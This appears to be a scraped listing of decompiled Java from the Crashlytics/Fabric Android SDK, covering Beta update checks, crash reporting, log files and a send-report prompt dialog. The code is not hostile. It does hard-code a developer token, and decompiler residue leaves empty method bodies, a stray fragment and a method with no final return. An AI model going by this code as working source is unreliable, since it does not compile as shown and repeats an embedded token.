mapBooleanValue

Java Code
private Integer mapBooleanValue(String truthyString) {
    if (truthyString == null) {
        return null;
    }
    return Integer.valueOf(truthyString.equals("true") ? 1 : 0);
}



395
396
397
398
399
400

mapPriceValue

Java Code
private Double mapPriceValue(Object o) {
    if (((Long) o) == null) {
        return null;
    }
    return Double.valueOf(new BigDecimal(((Long) o).longValue()).divide(AddToCartEvent.MICRO_CONSTANT).doubleValue());
}



402
403
404
405
406
407

mapCustomEventAttributes

Java Code
private void mapCustomEventAttributes(Bundle mutatedBundle, Map<String, Object> customAttributes) {
    for (Entry<String, Object> o : customAttributes.entrySet()) {
        Object value = o.getValue();
        String attributeKey = mapAttribute((String) o.getKey());
        if (value instanceof String) {
            mutatedBundle.putString(attributeKey, o.getValue().toString());
        } else if (value instanceof Double) {
            mutatedBundle.putDouble(attributeKey, ((Double) o.getValue()).doubleValue());
        } else if (value instanceof Long) {
            mutatedBundle.putLong(attributeKey, ((Long) o.getValue()).longValue());
        } else if (value instanceof Integer) {
            mutatedBundle.putInt(attributeKey, ((Integer) o.getValue()).intValue());
        }
    }
}



409
410
411
412
413
414
415
416
417
418
419
420
421
422
423

deleteAllEvents

Java Code



processEvent

Java Code



sendEvents

Java Code



setAnalyticsSettingsData

Java Code



initialize

Java Code



isActivityLifecycleTriggered

Java Code



load

Java Code
public String load(Context context) throws Exception {
    long start = System.nanoTime();
    String token = "";
    ZipInputStream zis = null;
    try {
        zis = getZipInputStreamOfApkFrom(context, "io.crash.air");
        token = determineDeviceToken(zis);
        if (zis != null) {
            try {
                zis.close();
            } catch (IOException e) {
                Fabric.getLogger().e(Beta.TAG, "Failed to close the APK file", e);
            }
        }
    } catch (NameNotFoundException e2) {
        Fabric.getLogger().d(Beta.TAG, "Beta by Crashlytics app is not installed");
        if (zis != null) {
            try {
                zis.close();
            } catch (IOException e3) {
                Fabric.getLogger().e(Beta.TAG, "Failed to close the APK file", e3);
            }
        }
    } catch (FileNotFoundException e4) {
        Fabric.getLogger().e(Beta.TAG, "Failed to find the APK file", e4);
        if (zis != null) {
            try {
                zis.close();
            } catch (IOException e32) {
                Fabric.getLogger().e(Beta.TAG, "Failed to close the APK file", e32);
            }
        }
    } catch (IOException e322) {
        Fabric.getLogger().e(Beta.TAG, "Failed to read the APK file", e322);
        if (zis != null) {
            try {
                zis.close();
            } catch (IOException e3222) {
                Fabric.getLogger().e(Beta.TAG, "Failed to close the APK file", e3222);
            }
        }
    } catch (Throwable th) {
        if (zis != null) {
            try {
                zis.close();
            } catch (IOException e32222) {
                Fabric.getLogger().e(Beta.TAG, "Failed to close the APK file", e32222);
            }
        }
    }
    Fabric.getLogger().d(Beta.TAG, "Beta device token load took " + (((double) (System.nanoTime() - start)) / 1000000.0d) + "ms");
    return token;
}



17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

getZipInputStreamOfApkFrom

Java Code
ZipInputStream getZipInputStreamOfApkFrom(Context context, String packageName) throws NameNotFoundException, FileNotFoundException {
    return new ZipInputStream(new FileInputStream(context.getPackageManager().getApplicationInfo(packageName, 0).sourceDir));
}



71
72
73

determineDeviceToken

Java Code
String determineDeviceToken(ZipInputStream zis) throws IOException {
    ZipEntry entry = zis.getNextEntry();
    if (entry != null) {
        String name = entry.getName();
        if (name.startsWith(DIRFACTOR_DEVICE_TOKEN_PREFIX)) {
            return name.substring(DIRFACTOR_DEVICE_TOKEN_PREFIX.length(), name.length() - 1);
        }
    }
    return "";
}



75
76
77
78
79
80
81
82
83
84

createBetaTokenHeaderValueFor

Java Code
static String createBetaTokenHeaderValueFor(String betaDeviceToken) {
    return "3:" + betaDeviceToken;
}



23
24
25

CheckForUpdatesRequest

Java Code
public CheckForUpdatesRequest(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory, CheckForUpdatesResponseTransform responseTransform) {
    super(kit, protocolAndHostOverride, url, requestFactory, HttpMethod.GET);
    this.responseTransform = responseTransform;
}



27
28
29
30

invoke

Java Code
public CheckForUpdatesResponse invoke(String apiKey, String betaDeviceToken, BuildProperties buildProps) {
    HttpRequest httpRequest = null;
    try {
        Map<String, String> queryParams = getQueryParamsFor(buildProps);
        httpRequest = applyHeadersTo(getHttpRequest(queryParams), apiKey, betaDeviceToken);
        Fabric.getLogger().d(Beta.TAG, "Checking for updates from " + getUrl());
        Fabric.getLogger().d(Beta.TAG, "Checking for updates query params are: " + queryParams);
        if (httpRequest.ok()) {
            Fabric.getLogger().d(Beta.TAG, "Checking for updates was successful");
            CheckForUpdatesResponse fromJson = this.responseTransform.fromJson(new JSONObject(httpRequest.body()));
            if (httpRequest == null) {
                return fromJson;
            }
            Fabric.getLogger().d(Fabric.TAG, "Checking for updates request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
            return fromJson;
        }
        Fabric.getLogger().e(Beta.TAG, "Checking for updates failed. Response code: " + httpRequest.code());
        if (httpRequest != null) {
            Fabric.getLogger().d(Fabric.TAG, "Checking for updates request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
        }
        return null;
    } catch (Exception e) {
        Fabric.getLogger().e(Beta.TAG, "Error while checking for updates from " + getUrl(), e);
        if (httpRequest != null) {
            Fabric.getLogger().d(Fabric.TAG, "Checking for updates request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
        }
    } catch (Throwable th) {
        if (httpRequest != null) {
            Fabric.getLogger().d(Fabric.TAG, "Checking for updates request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
        }
    }
}



32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

applyHeadersTo

Java Code
private HttpRequest applyHeadersTo(HttpRequest request, String apiKey, String betaDeviceToken) {
    return request.header("Accept", "application/json").header("User-Agent", AbstractSpiCall.CRASHLYTICS_USER_AGENT + this.kit.getVersion()).header(AbstractSpiCall.HEADER_DEVELOPER_TOKEN, "470fa2b4ae81cd56ecbcda9735803434cec591fa").header(AbstractSpiCall.HEADER_CLIENT_TYPE, AbstractSpiCall.ANDROID_CLIENT_TYPE).header(AbstractSpiCall.HEADER_CLIENT_VERSION, this.kit.getVersion()).header(AbstractSpiCall.HEADER_API_KEY, apiKey).header(HEADER_BETA_TOKEN, createBetaTokenHeaderValueFor(betaDeviceToken));
}



65
66
67

getQueryParamsFor

Java Code
private Map<String, String> getQueryParamsFor(BuildProperties buildProps) {
    Map<String, String> queryParams = new HashMap();
    queryParams.put(BUILD_VERSION, buildProps.versionCode);
    queryParams.put(DISPLAY_VERSION, buildProps.versionName);
    queryParams.put(INSTANCE, buildProps.buildId);
    queryParams.put(SOURCE, "3");
    return queryParams;
}



69
70
71
72
73
74
75
76

BuildProperties

Java Code
BuildProperties(String versionCode, String versionName, String buildId, String packageName) {
    this.versionCode = versionCode;
    this.versionName = versionName;
    this.buildId = buildId;
    this.packageName = packageName;
}



17
18
19
20
21
22

fromProperties

Java Code
public static BuildProperties fromProperties(Properties props) {
    return new BuildProperties(props.getProperty(VERSION_CODE), props.getProperty(VERSION_NAME), props.getProperty(BUILD_ID), props.getProperty(PACKAGE_NAME));
}



24
25
26

fromPropertiesStream

Java Code
public static BuildProperties fromPropertiesStream(InputStream is) throws IOException {
    Properties props = new Properties();
    props.load(is);
    return fromProperties(props);
}



28
29
30
31
32

onActivityStarted

Java Code
public void onActivityStarted(Activity activity) {
    if (ActivityLifecycleCheckForUpdatesController.this.signalExternallyReady()) {
        ActivityLifecycleCheckForUpdatesController.this.executorService.submit(new Runnable() {
            public void run() {
                ActivityLifecycleCheckForUpdatesController.this.checkForUpdates();
            }
        });
    }
}



12
13
14
15
16
17
18
19
20

run

Java Code
public void run() {
    ActivityLifecycleCheckForUpdatesController.this.checkForUpdates();
}



15
16
17

ActivityLifecycleCheckForUpdatesController

Java Code
public ActivityLifecycleCheckForUpdatesController(ActivityLifecycleManager lifecycleManager, ExecutorService executorService) {
    this.executorService = executorService;
    lifecycleManager.registerCallbacks(this.callbacks);
}



24
25
26
27

isActivityLifecycleTriggered

Java Code
public boolean isActivityLifecycleTriggered() {
    return true;
}



29
30
31

getInstance

Java Code
public static Beta getInstance() {
    return (Beta) Fabric.getKit(Beta.class);
}



35
36
37

onPreExecute

Java Code
protected boolean onPreExecute() {
    this.updatesController = createUpdatesController(VERSION.SDK_INT, (Application) getContext().getApplicationContext());
    return true;
}



40
41
42
43

doInBackground

Java Code
protected Boolean doInBackground() {
    Fabric.getLogger().d(TAG, "Beta kit initializing...");
    Context context = getContext();
    IdManager idManager = getIdManager();
    if (TextUtils.isEmpty(getBetaDeviceToken(context, idManager.getInstallerPackageName()))) {
        Fabric.getLogger().d(TAG, "A Beta device token was not found for this app");
        return Boolean.valueOf(false);
    }
    Fabric.getLogger().d(TAG, "Beta device token is present, checking for app updates.");
    BetaSettingsData betaSettings = getBetaSettingsData();
    BuildProperties buildProps = loadBuildProperties(context);
    if (canCheckForUpdates(betaSettings, buildProps)) {
        this.updatesController.initialize(context, this, idManager, betaSettings, buildProps, new PreferenceStoreImpl(this), new SystemCurrentTimeProvider(), new DefaultHttpRequestFactory(Fabric.getLogger()));
    }
    return Boolean.valueOf(true);
}



45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

createUpdatesController

Java Code
UpdatesController createUpdatesController(int apiLevel, Application application) {
    if (apiLevel >= 14) {
        return new ActivityLifecycleCheckForUpdatesController(getFabric().getActivityLifecycleManager(), getFabric().getExecutorService());
    }
    return new ImmediateCheckForUpdatesController();
}



63
64
65
66
67
68

getDeviceIdentifiers

Java Code
public Map<DeviceIdentifierType, String> getDeviceIdentifiers() {
    String betaDeviceToken = getBetaDeviceToken(getContext(), getIdManager().getInstallerPackageName());
    Map<DeviceIdentifierType, String> ids = new HashMap();
    if (!TextUtils.isEmpty(betaDeviceToken)) {
        ids.put(DeviceIdentifierType.FONT_TOKEN, betaDeviceToken);
    }
    return ids;
}



70
71
72
73
74
75
76
77

getIdentifier

Java Code
public String getIdentifier() {
    return "com.crashlytics.sdk.android:beta";
}



79
80
81

getVersion

Java Code
public String getVersion() {
    return "1.2.7.19";
}



83
84
85

canCheckForUpdates

Java Code
boolean canCheckForUpdates(BetaSettingsData betaSettings, BuildProperties buildProps) {
    return (betaSettings == null || TextUtils.isEmpty(betaSettings.updateUrl) || buildProps == null) ? false : true;
}



87
88
89

getBetaDeviceToken

Java Code
private String getBetaDeviceToken(Context context, String installerPackageName) {
    String token = null;
    try {
        String cachedToken = (String) this.deviceTokenCache.get(context, this.deviceTokenLoader);
        if ("".equals(cachedToken)) {
            token = null;
        } else {
            token = cachedToken;
        }
    } catch (Exception e) {
        Fabric.getLogger().e(TAG, "Failed to load the Beta device token", e);
    }
    Fabric.getLogger().d(TAG, "Beta device token present: " + (!TextUtils.isEmpty(token)));
    return token;
}



91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

getBetaSettingsData

Java Code
private BetaSettingsData getBetaSettingsData() {
    SettingsData settingsData = Settings.getInstance().awaitSettingsData();
    if (settingsData != null) {
        return settingsData.betaSettingsData;
    }
    return null;
}



107
108
109
110
111
112
113

loadBuildProperties

Java Code
private BuildProperties loadBuildProperties(Context context) {
    InputStream buildPropsStream = null;
    BuildProperties buildProps = null;
    try {
        buildPropsStream = context.getAssets().open(CRASHLYTICS_BUILD_PROPERTIES);
        if (buildPropsStream != null) {
            buildProps = BuildProperties.fromPropertiesStream(buildPropsStream);
            Fabric.getLogger().d(TAG, buildProps.packageName + " build properties: " + buildProps.versionName + " (" + buildProps.versionCode + ") - " + buildProps.buildId);
        }
        if (buildPropsStream != null) {
            try {
                buildPropsStream.close();
            } catch (IOException e) {
                Fabric.getLogger().e(TAG, "Error closing Beta build properties asset", e);
            }
        }
    } catch (Exception e2) {
        Fabric.getLogger().e(TAG, "Error reading Beta build properties", e2);
        if (buildPropsStream != null) {
            try {
                buildPropsStream.close();
            } catch (IOException e3) {
                Fabric.getLogger().e(TAG, "Error closing Beta build properties asset", e3);
            }
        }
    } catch (Throwable th) {
        if (buildPropsStream != null) {
            try {
                buildPropsStream.close();
            } catch (IOException e32) {
                Fabric.getLogger().e(TAG, "Error closing Beta build properties asset", e32);
            }
        }
    }
    return buildProps;
}



115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150

getOverridenSpiEndpoint

Java Code
String getOverridenSpiEndpoint() {
    return CommonUtils.getStringsFileValue(getContext(), CRASHLYTICS_API_ENDPOINT);
}



152
153
154

ImmediateCheckForUpdatesController

Java Code
public ImmediateCheckForUpdatesController() {
    super(true);
}



4
5
6

isActivityLifecycleTriggered

Java Code
public boolean isActivityLifecycleTriggered() {
    return false;
}



8
9
10

CheckForUpdatesResponseTransform

Java Code



fromJson

Java Code
public CheckForUpdatesResponse fromJson(JSONObject json) throws IOException {
    if (json == null) {
        return null;
    }
    return new CheckForUpdatesResponse(json.optString("url", null), json.optString(VERSION_STRING, null), json.optString(DISPLAY_VERSION, null), json.optString(BUILD_VERSION, null), json.optString("identifier", null), json.optString(INSTANCE_IDENTIFIER, null));
}



17
18
19
20
21
22

CheckForUpdatesResponse

Java Code
public CheckForUpdatesResponse(String url, String versionString, String displayVersion, String buildVersion, String packageName, String instanceId) {
    this.url = url;
    this.versionString = versionString;
    this.displayVersion = displayVersion;
    this.buildVersion = buildVersion;
    this.packageName = packageName;
    this.instanceId = instanceId;
}



11
12
13
14
15
16
17
18

AbstractCheckForUpdatesController

Java Code
public AbstractCheckForUpdatesController() {
    this(false);
}



31
32
33

AbstractCheckForUpdatesController

Java Code
public AbstractCheckForUpdatesController(boolean externallyReady) {
    this.initialized = new AtomicBoolean();
    this.lastCheckTimeMillis = LAST_UPDATE_CHECK_DEFAULT;
    this.externallyReady = new AtomicBoolean(externallyReady);
}



35
36
37
38
39

initialize

Java Code
public void initialize(Context context, Beta beta, IdManager idManager, BetaSettingsData betaSettings, BuildProperties buildProps, PreferenceStore preferenceStore, CurrentTimeProvider currentTimeProvider, HttpRequestFactory httpRequestFactory) {
    this.context = context;
    this.beta = beta;
    this.idManager = idManager;
    this.betaSettings = betaSettings;
    this.buildProps = buildProps;
    this.preferenceStore = preferenceStore;
    this.currentTimeProvider = currentTimeProvider;
    this.httpRequestFactory = httpRequestFactory;
    if (signalInitialized()) {
        checkForUpdates();
    }
}



41
42
43
44
45
46
47
48
49
50
51
52
53

signalExternallyReady

Java Code
protected boolean signalExternallyReady() {
    this.externallyReady.set(true);
    return this.initialized.get();
}



55
56
57
58

signalInitialized

Java Code
boolean signalInitialized() {
    this.initialized.set(true);
    return this.externallyReady.get();
}



60
61
62
63

checkForUpdates

Java Code
protected void checkForUpdates() {
    synchronized (this.preferenceStore) {
        if (this.preferenceStore.get().contains(LAST_UPDATE_CHECK_KEY)) {
            this.preferenceStore.save(this.preferenceStore.edit().remove(LAST_UPDATE_CHECK_KEY));
        }
    }
    long currentTimeMillis = this.currentTimeProvider.getCurrentTimeMillis();
    long updateCheckDelayMillis = ((long) this.betaSettings.updateSuspendDurationSeconds) * MILLIS_PER_SECOND;
    Fabric.getLogger().d(Beta.TAG, "Check for updates delay: " + updateCheckDelayMillis);
    Fabric.getLogger().d(Beta.TAG, "Check for updates last check time: " + getLastCheckTimeMillis());
    long nextCheckTimeMillis = getLastCheckTimeMillis() + updateCheckDelayMillis;
    Fabric.getLogger().d(Beta.TAG, "Check for updates current time: " + currentTimeMillis + ", next check time: " + nextCheckTimeMillis);
    if (currentTimeMillis >= nextCheckTimeMillis) {
        try {
            performUpdateCheck();
        } finally {
            setLastCheckTimeMillis(currentTimeMillis);
        }
    } else {
        Fabric.getLogger().d(Beta.TAG, "Check for updates next check time was not passed");
    }
}



66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

performUpdateCheck

Java Code
private void performUpdateCheck() {
    Fabric.getLogger().d(Beta.TAG, "Performing update check");
    new CheckForUpdatesRequest(this.beta, this.beta.getOverridenSpiEndpoint(), this.betaSettings.updateUrl, this.httpRequestFactory, new CheckForUpdatesResponseTransform()).invoke(new ApiKey().getValue(this.context), (String) this.idManager.getDeviceIdentifiers().get(DeviceIdentifierType.FONT_TOKEN), this.buildProps);
}



89
90
91
92

setLastCheckTimeMillis

Java Code
void setLastCheckTimeMillis(long time) {
    this.lastCheckTimeMillis = time;
}



94
95
96

getLastCheckTimeMillis

Java Code
long getLastCheckTimeMillis() {
    return this.lastCheckTimeMillis;
}



98
99
100

create

Java Code
public static PreferenceManager create(PreferenceStore preferenceStore, CrashlyticsCore kit) {
    if (!preferenceStore.get().getBoolean(PREF_MIGRATION_COMPLETE, false)) {
        boolean migrationRequired;
        PreferenceStore oldStore = new PreferenceStoreImpl(kit);
        if (preferenceStore.get().contains(PREF_ALWAYS_SEND_REPORTS_KEY) || !oldStore.get().contains(PREF_ALWAYS_SEND_REPORTS_KEY)) {
            migrationRequired = false;
        } else {
            migrationRequired = true;
        }
        if (migrationRequired) {
            preferenceStore.save(preferenceStore.edit().putBoolean(PREF_ALWAYS_SEND_REPORTS_KEY, oldStore.get().getBoolean(PREF_ALWAYS_SEND_REPORTS_KEY, false)));
        }
        preferenceStore.save(preferenceStore.edit().putBoolean(PREF_MIGRATION_COMPLETE, true));
    }
    return new PreferenceManager(preferenceStore);
}



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

PreferenceManager

Java Code
public PreferenceManager(PreferenceStore preferenceStore) {
    this.preferenceStore = preferenceStore;
}



31
32
33

setShouldAlwaysSendReports

Java Code
void setShouldAlwaysSendReports(boolean send) {
    this.preferenceStore.save(this.preferenceStore.edit().putBoolean(PREF_ALWAYS_SEND_REPORTS_KEY, send));
}



35
36
37

shouldAlwaysSendReports

Java Code
boolean shouldAlwaysSendReports() {
    return this.preferenceStore.get().getBoolean(PREF_ALWAYS_SEND_REPORTS_KEY, false);
}



39
40
41

LogFileManager

Java Code
LogFileManager(Context context, DirectoryProvider directoryProvider) {
    this(context, directoryProvider, null);
}



41
42
43

LogFileManager

Java Code
LogFileManager(Context context, DirectoryProvider directoryProvider, String currentSessionId) {
    this.context = context;
    this.directoryProvider = directoryProvider;
    this.currentLog = NOOP_LOG_STORE;
    setCurrentSession(currentSessionId);
}



45
46
47
48
49
50

setCurrentSession

Java Code
final void setCurrentSession(String sessionId) {
    this.currentLog.closeLogFile();
    this.currentLog = NOOP_LOG_STORE;
    if (sessionId != null) {
        if (CommonUtils.getBooleanResourceValue(this.context, COLLECT_CUSTOM_LOGS, true)) {
            setLogFile(getWorkingFileForSession(sessionId), MAX_LOG_SIZE);
        } else {
            Fabric.getLogger().d(CrashlyticsCore.TAG, "Preferences requested no custom logs. Aborting log file creation.");
        }
    }
}



52
53
54
55
56
57
58
59
60
61
62

writeToLog

Java Code
void writeToLog(long timestamp, String msg) {
    this.currentLog.writeToLog(timestamp, msg);
}



64
65
66

getByteStringForLog

Java Code
ByteString getByteStringForLog() {
    return this.currentLog.getLogAsByteString();
}



68
69
70

clearLog

Java Code
void clearLog() {
    this.currentLog.deleteLogFile();
}



72
73
74

discardOldLogFiles

Java Code
void discardOldLogFiles(Set<String> sessionIdsToKeep) {
    File[] logFiles = this.directoryProvider.getLogFileDir().listFiles();
    if (logFiles != null) {
        for (File file : logFiles) {
            if (!sessionIdsToKeep.contains(getSessionIdForFile(file))) {
                file.delete();
            }
        }
    }
}



76
77
78
79
80
81
82
83
84
85

setLogFile

Java Code
void setLogFile(File workingFile, int maxLogSize) {
    this.currentLog = new QueueFileLogStore(workingFile, maxLogSize);
}



87
88
89

getWorkingFileForSession

Java Code
private File getWorkingFileForSession(String sessionId) {
    return new File(this.directoryProvider.getLogFileDir(), LOGFILE_PREFIX + sessionId + LOGFILE_EXT);
}



91
92
93

getSessionIdForFile

Java Code
private String getSessionIdForFile(File workingFile) {
    String filename = workingFile.getName();
    int indexOfExtension = filename.lastIndexOf(LOGFILE_EXT);
    return indexOfExtension == -1 ? filename : filename.substring(LOGFILE_PREFIX.length(), indexOfExtension);
}



95
96
97
98
99

getLogFileDir

Java Code



NoopLogStore

Java Code



writeToLog

Java Code



getLogAsByteString

Java Code
public ByteString getLogAsByteString() {
    return null;
}



30
31
32

closeLogFile

Java Code



deleteLogFile

Java Code



create

Java Code
public static CrashPromptDialog create(Activity activity, PromptSettingsData promptData, final AlwaysSendCallback alwaysSendCallback) {
    final OptInLatch latch = new OptInLatch();
    DialogStringResolver stringResolver = new DialogStringResolver(activity, promptData);
    Builder builder = new Builder(activity);
    ScrollView scrollView = createDialogView(activity, stringResolver.getMessage());
    builder.setView(scrollView).setTitle(stringResolver.getTitle()).setCancelable(false).setNeutralButton(stringResolver.getSendButtonTitle(), new OnClickListener() {
        public void onClick(DialogInterface dialog, int which) {
            latch.setOptIn(true);
            dialog.dismiss();
        }
    });
    if (promptData.showCancelButton) {
        builder.setNegativeButton(stringResolver.getCancelButtonTitle(), new OnClickListener() {
            public void onClick(DialogInterface dialog, int id) {
                latch.setOptIn(false);
                dialog.dismiss();
            }
        });
    }
    if (promptData.showAlwaysSendButton) {
        builder.setPositiveButton(stringResolver.getAlwaysSendButtonTitle(), new OnClickListener() {
            public void onClick(DialogInterface dialog, int id) {
                alwaysSendCallback.sendUserReportsWithoutPrompting(true);
                latch.setOptIn(true);
                dialog.dismiss();
            }
        });
    }
    return new CrashPromptDialog(builder, latch);
}



46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

onClick

Java Code
public void onClick(DialogInterface dialog, int which) {
    latch.setOptIn(true);
    dialog.dismiss();
}



52
53
54
55

onClick

Java Code
public void onClick(DialogInterface dialog, int id) {
    latch.setOptIn(false);
    dialog.dismiss();
}



59
60
61
62

onClick

Java Code
public void onClick(DialogInterface dialog, int id) {
    alwaysSendCallback.sendUserReportsWithoutPrompting(true);
    latch.setOptIn(true);
    dialog.dismiss();
}



67
68
69
70
71

createDialogView

Java Code
private static ScrollView createDialogView(Activity activity, String message) {
    float density = activity.getResources().getDisplayMetrics().density;
    int textViewPadding = dipsToPixels(density, 5);
    TextView textView = new TextView(activity);
    textView.setAutoLinkMask(15);
    textView.setText(message);
    textView.setTextAppearance(activity, 16973892);
    textView.setPadding(textViewPadding, textViewPadding, textViewPadding, textViewPadding);
    textView.setFocusable(false);
    ScrollView scrollView = new ScrollView(activity);
    scrollView.setPadding(dipsToPixels(density, 14), dipsToPixels(density, 2), dipsToPixels(density, 10), dipsToPixels(density, 12));
    scrollView.addView(textView);
    return scrollView;
}



77
78
79
80
81
82
83
84
85
86
87
88
89
90

dipsToPixels

Java Code
private static int dipsToPixels(float density, int dips) {
    return (int) (((float) dips) * density);
}



92
93
94

CrashPromptDialog

Java Code
private CrashPromptDialog(Builder dialog, OptInLatch latch) {
    this.latch = latch;
    this.dialog = dialog;
}



96
97
98
99

show

Java Code
public void show() {
    this.dialog.show();
}



101
102
103

await

Java Code
public void await() {
    this.latch.await();
}



105
106
107

getOptIn

Java Code
public boolean getOptIn() {
    return this.latch.getOptIn();
}



109
110
111

sendUserReportsWithoutPrompting

Java Code



OptInLatch

Java Code
private OptInLatch() {
    this.send = false;
    this.latch = new CountDownLatch(1);
}



24
25
26
27

setOptIn

Java Code
void setOptIn(boolean optIn) {
    this.send = optIn;
    this.latch.countDown();
}



29
30
31
32

getOptIn

Java Code
boolean getOptIn() {
    return this.send;
}



34
35
36

await

Java Code
void await() {
    try {
        this.latch.await();
    } catch (InterruptedException e) {
    }
}



38
39
40
41
42
43

crashlyticsDidDetectCrashDuringPreviousExecution

Java Code



compare

Java Code
public int compare(File file1, File file2) {
    return file2.getName().compareTo(file1.getName());
}



76
77
78

accept

Java Code
public boolean accept(File dir, String filename) {
    return super.accept(dir, filename) && filename.endsWith(ClsFileOutputStream.SESSION_FILE_EXTENSION);
}



89
90
91

accept

Java Code
public boolean accept(File file) {
    return file.isDirectory() && file.getName().length() == CrashlyticsController.SESSION_ID_LENGTH;
}



96
97
98

accept

Java Code
public boolean accept(File dir, String filename) {
    return filename.length() == ClsFileOutputStream.SESSION_FILE_EXTENSION.length() + CrashlyticsController.SESSION_ID_LENGTH && filename.endsWith(ClsFileOutputStream.SESSION_FILE_EXTENSION);
}



103
104
105

compare

Java Code
public int compare(File file1, File file2) {
    return file1.getName().compareTo(file2.getName());
}



115
116
117

CrashlyticsController

Java Code
CrashlyticsController(CrashlyticsCore crashlyticsCore, CrashlyticsBackgroundWorker backgroundWorker, HttpRequestFactory httpRequestFactory, IdManager idManager, PreferenceManager preferenceManager, FileStore fileStore, AppData appData, UnityVersionProvider unityVersionProvider, boolean firebaseCrashlyticsEnabled) {
    this.crashlyticsCore = crashlyticsCore;
    this.backgroundWorker = backgroundWorker;
    this.httpRequestFactory = httpRequestFactory;
    this.idManager = idManager;
    this.preferenceManager = preferenceManager;
    this.fileStore = fileStore;
    this.appData = appData;
    this.unityVersion = unityVersionProvider.getUnityVersion();
    this.firebaseCrashlyticsEnabled = firebaseCrashlyticsEnabled;
    Context context = crashlyticsCore.getContext();
    this.logFileDirectoryProvider = new LogFileDirectoryProvider(fileStore);
    this.logFileManager = new LogFileManager(context, this.logFileDirectoryProvider);
    this.reportFilesProvider = new ReportUploaderFilesProvider();
    this.handlingExceptionCheck = new ReportUploaderHandlingExceptionCheck();
    this.devicePowerStateListener = new DevicePowerStateListener(context);
    this.stackTraceTrimmingStrategy = new MiddleOutFallbackStrategy(MAX_STACK_SIZE, new RemoveRepeatsStrategy(NUM_STACK_REPETITIONS_ALLOWED));
    this.firebaseAnalytics = AppMeasurementEventLogger.getEventLogger(context);
}



281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299

enableExceptionHandling

Java Code
void enableExceptionHandling(UncaughtExceptionHandler defaultHandler) {
    openSession();
    this.crashHandler = new CrashlyticsUncaughtExceptionHandler(new CrashListener() {
        public void onUncaughtException(Thread thread, Throwable ex) {
            CrashlyticsController.this.handleUncaughtException(thread, ex);
        }
    }, defaultHandler);
    Thread.setDefaultUncaughtExceptionHandler(this.crashHandler);
}



301
302
303
304
305
306
307
308
309

onUncaughtException

Java Code
public void onUncaughtException(Thread thread, Throwable ex) {
    CrashlyticsController.this.handleUncaughtException(thread, ex);
}
efaultHandler);



304
305
306
307

handleUncaughtException

Java Code
synchronized void handleUncaughtException(final Thread thread, final Throwable ex) {
    Fabric.getLogger().d(CrashlyticsCore.TAG, "Crashlytics is handling uncaught exception \"" + ex + "\" from thread " + thread.getName());
    this.devicePowerStateListener.dispose();
    final Date time = new Date();
    this.backgroundWorker.submitAndWait(new Callable<Void>() {
        public Void call() throws Exception {
            SessionSettingsData sessionSettings;
            CrashlyticsController.this.crashlyticsCore.createCrashMarker();
            CrashlyticsController.this.writeFatal(time, thread, ex);
            SettingsData settingsData = Settings.getInstance().awaitSettingsData();
            if (settingsData != null) {
                sessionSettings = settingsData.sessionData;
            } else {
                sessionSettings = null;
            }
            CrashlyticsController.this.doCloseSessions(sessionSettings);
            CrashlyticsController.this.doOpenSession();
            if (sessionSettings != null) {
                CrashlyticsController.this.trimSessionFiles(sessionSettings.maxCompleteSessionsCount);
            }
            if (!CrashlyticsController.this.shouldPromptUserBeforeSendingCrashReports(settingsData)) {
                CrashlyticsController.this.sendSessionReports(settingsData);
            }
            return null;
        }
    });
}



311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337

call

Java Code
public Void call() throws Exception {
    SessionSettingsData sessionSettings;
    CrashlyticsController.this.crashlyticsCore.createCrashMarker();
    CrashlyticsController.this.writeFatal(time, thread, ex);
    SettingsData settingsData = Settings.getInstance().awaitSettingsData();
    if (settingsData != null) {
        sessionSettings = settingsData.sessionData;
    } else {
        sessionSettings = null;
    }
    CrashlyticsController.this.doCloseSessions(sessionSettings);
    CrashlyticsController.this.doOpenSession();
    if (sessionSettings != null) {
        CrashlyticsController.this.trimSessionFiles(sessionSettings.maxCompleteSessionsCount);
    }
    if (!CrashlyticsController.this.shouldPromptUserBeforeSendingCrashReports(settingsData)) {
        CrashlyticsController.this.sendSessionReports(settingsData);
    }
    return null;
}



316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335

submitAllReports

Java Code
void submitAllReports(float delay, SettingsData settingsData) {
    if (settingsData == null) {
        Fabric.getLogger().w(CrashlyticsCore.TAG, "Could not send reports. Settings are not available.");
        return;
    }
    new ReportUploader(this.appData.apiKey, getCreateReportSpiCall(settingsData.appData.reportsUrl), this.reportFilesProvider, this.handlingExceptionCheck).uploadReports(delay, shouldPromptUserBeforeSendingCrashReports(settingsData) ? new PrivacyDialogCheck(this.crashlyticsCore, this.preferenceManager, settingsData.promptData) : new AlwaysSendCheck());
}



339
340
341
342
343
344
345

writeToLog

Java Code
void writeToLog(final long timestamp, final String msg) {
    this.backgroundWorker.submit(new Callable<Void>() {
        public Void call() throws Exception {
            if (!CrashlyticsController.this.isHandlingException()) {
                CrashlyticsController.this.logFileManager.writeToLog(timestamp, msg);
            }
            return null;
        }
    });
}



347
348
349
350
351
352
353
354
355
356

call

Java Code
public Void call() throws Exception {
    if (!CrashlyticsController.this.isHandlingException()) {
        CrashlyticsController.this.logFileManager.writeToLog(timestamp, msg);
    }
    return null;
}



349
350
351
352
353
354

writeNonFatalException

Java Code
void writeNonFatalException(final Thread thread, final Throwable ex) {
    final Date now = new Date();
    this.backgroundWorker.submit(new Runnable() {
        public void run() {
